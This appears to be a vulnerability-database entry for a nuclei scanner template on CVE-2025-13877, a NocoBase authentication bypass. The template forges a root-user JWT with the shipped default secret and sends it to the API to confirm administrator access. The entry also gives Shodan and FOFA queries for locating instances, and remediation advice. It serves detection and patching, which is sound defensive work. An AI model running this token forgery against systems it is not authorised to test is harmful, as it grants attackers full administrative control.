CVE-2025-13877: NocoBase - Default JWT Secret Authentication Bypass
- Template: CVE-2025-13877
- Name: NocoBase - Default JWT Secret Authentication Bypass
- Description: NocoBase @nocobase/auth 1.9.21 and earlier and 2.0.0-alpha.51 and earlier sign and verify JWT tokens with the APP_KEY value. The official docker-compose files ship APP_KEY=your-secret-key, so deployments that keep this value accept tokens forged with the public key for any userId.
- Impact: Unauthenticated attackers can forge a token for the root user and get full administrator access to data, users, plugins and stored secrets.
- Remediation: Upgrade to NocoBase 1.9.23, 1.9.0-beta.18, 2.0.0-alpha.52 or later, which ignore the default key and generate a random JWT secret. As a workaround, set APP_KEY to a strong random value and restart the application.
- Severity: medium
- Authors: s4e-io
- Tags: cve, cve2025, nocobase, auth-bypass, jwt, default-jwt, unauth
- References: https://github.com/nocobase/nocobase/security/advisories/GHSA-mv7p-34fv-4874, https://github.com/nocobase/nocobase/commit/de4292ea7847dd26c6306445091769f8b9ee96d5, https://gist.github.com/H2u8s/f3ede60d7ecfe598ae452aa5a8fbb90d, https://nvd.nist.gov/vuln/detail/CVE-2025-13877
- Cves: CVE-2025-13877
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2025/CVE-2025-13877.yaml
- Digest: 4b0a0048304602210087a6710176fe94d5c85014714b202fa1976c55f1eb7b3b9d3de3cd6d07ae5a35022100b70cb0d0e4f95ef7e27e32697adb0aee5e905e1624dad8765180b2c09e0a730b
- Created at: 2026-11-23T06:40:24Z
- Updated at: 2026-11-23T06:40:41Z
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-13877.yaml
- Checked, none or zero: age in days
Classification
- Cwe: CWE-321
- Cvss score: 5.6
- Cvss vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
- Epss score: 0.00328
- Epss percentile: 0.26567
- Not known: cpe
Metadata
- Fofa-query: body="__nocobase_public_path__"
- Max-request: 2
- Product: nocobase
- Shodan-query: http.html:"__nocobase_public_path__"
- Vendor: nocobase
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| nocobase:nocobase | yes | /v1/products/nocobase/nocobase |
Labels
- Name: nocobase - Weak Cryptography
- Impact: Remote attackers can exploit hardcoded keys to compromise cryptographic security, risking data integrity and confidentiality.
- Remediation: Update to the latest version of nocobase.
- Vulnerability type: weak_cryptography
- Vulnerability impact: weak_cryptography
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2025-13877
- Not known: requirements
```yaml
id: CVE-2025-13877
info:
name: NocoBase - Default JWT Secret Authentication Bypass
author: s4e-io
severity: medium
description: |
NocoBase @nocobase/auth 1.9.21 and earlier and 2.0.0-alpha.51 and earlier sign and verify JWT tokens with the APP_KEY value. The official docker-compose files ship APP_KEY=your-secret-key, so deployments that keep this value accept tokens forged with the public key for any userId.
impact: |
Unauthenticated attackers can forge a token for the root user and get full administrator access to data, users, plugins and stored secrets.
remediation: |
Upgrade to NocoBase 1.9.23, 1.9.0-beta.18, 2.0.0-alpha.52 or later, which ignore the default key and generate a random JWT secret. As a workaround, set APP_KEY to a strong random value and restart the application.
reference:
- https://github.com/nocobase/nocobase/security/advisories/GHSA-mv7p-34fv-4874
- https://github.com/nocobase/nocobase/commit/de4292ea7847dd26c6306445091769f8b9ee96d5
- https://gist.github.com/H2u8s/f3ede60d7ecfe598ae452aa5a8fbb90d
- https://nvd.nist.gov/vuln/detail/CVE-2025-13877
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
cvss-score: 5.6
cve-id: CVE-2025-13877
epss-score: 0.00328
epss-percentile: 0.26567
cwe-id: CWE-321
metadata:
verified: true
max-request: 2
vendor: nocobase
product: nocobase
shodan-query: http.html:"__nocobase_public_path__"
fofa-query: body="__nocobase_public_path__"
tags: cve,cve2025,nocobase,auth-bypass,jwt,default-jwt,unauth
variables:
secret: "your-secret-key"
claims: '{"userId":1}'
flow: http(1) && http(2)
http:
- raw:
- |
GET /api/auth:check HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 401'
- 'contains(content_type, "application/json")'
- 'contains(body, "\"code\":\"EMPTY_TOKEN\"")'
condition: and
internal: true
- raw:
- |
GET /api/auth:check HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Authorization: Bearer {{generate_jwt(claims,"HS256",secret,unix_time(600))}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "\"data\":{\"id\":1,", "\"rolesUsers\":{", "\"roleName\":\"root\"")'
condition: and
digest: 4b0a0048304602210087a6710176fe94d5c85014714b202fa1976c55f1eb7b3b9d3de3cd6d07ae5a35022100b70cb0d0e4f95ef7e27e32697adb0aee5e905e1624dad8765180b2c09e0a730b:922c64590222798bb761d5b6d8e72950
```